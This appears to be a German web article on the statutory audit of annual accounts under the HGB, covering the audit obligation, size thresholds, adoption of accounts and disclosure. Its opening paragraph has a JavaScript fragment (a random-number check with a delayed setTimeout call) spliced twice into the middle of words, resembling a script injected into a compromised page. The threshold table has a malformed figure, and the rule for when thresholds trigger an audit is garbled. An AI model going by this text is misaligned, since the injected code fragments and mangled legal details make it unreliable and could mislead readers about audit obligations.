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Abschlussprüfung nach HGB, Prüfungspflicht

Die Aufstellung des Jahresabschlusses einer Kapitalgesellschaft mit Sitz in Deutschlandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and hat nach dem deutschen Handom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andelsgesetzbuch (HGB) zu erfolgen. Die Aufstellung des Einzelabschlusses nach internationalen Normen (z.B. IFRS) ersetzt nicht die Aufstellung nach HGB. Kapitalgesellschaften, sowie Personengesellschaften an denen keine natürliche Person beteiligt ist, müssen ihren nach HGB aufgestellten Jahresabschluss und Lagebericht durch einen hierzu gemäß § 57a WPO zugelassenen Wirtschaftsprüfer (bzw. vereidigten Buchprüfer bei mittelgroßen Gesellschaften) prüfen lassen, wenn die in § 267 HGB festgelegten Merkmale das 2. mal überstiegen werden:

Merkmal (in EUR) Prüfungspflicht Große Gesellschaft
Bilanzsumme 6.000.000  20.000.000
Umsatz 20.000.000  40.00.000
Mitarbeiter (Jahresdurchschnitt) 50  250

Hat trotz Prüfungspflicht keine Prüfung stattgefunden, so kann der Jahresabschluss nicht festgestellt werden.

Die Feststellung des Jahresabschlusses ist u. a. Voraussetzung für die Gewinnausschüttung und kann Voraussetzung für die Auszahlung der Tantieme des Geschäftsführers sein. Eine ohne Feststellung vorgenommene Gewinnausschüttung gilt steuerrechtlich als „verdeckte Gewinnausschüttung“.

Kapitalmarktorientierte Gesellschaften und Finanzdienstleistungsinstitute gelten immer als „Große Gesellschaften“. Für Finanzdienstleistungsinstitute, gelten besondere zusätzliche Prüfungsvorschriften.

Besteht ein aktienrechtlicher Aufsichtsrat, so ist der zuständige Prüfungsausschuss bereits bei der Prüfungsplanung einzubeziehen. Der Finanzexperte im Aufsichtsrat überwacht den ordnungsgemäßen Ablauf der Abschlussprüfung. Die Prüfung schließt mit einem Prüfungsbericht und der Erteilung des Bestätigungsvermerks ab.

Der geprüfte Jahresabschluss ist nach der Feststellung durch die Gesellschafterversammlung gem. § 325 HGB im elektronischen Unternehmensregister einschließlich Lagebericht und Prüfungsvermerk, u. U. mit weiteren Unterlagen, offenzulegen.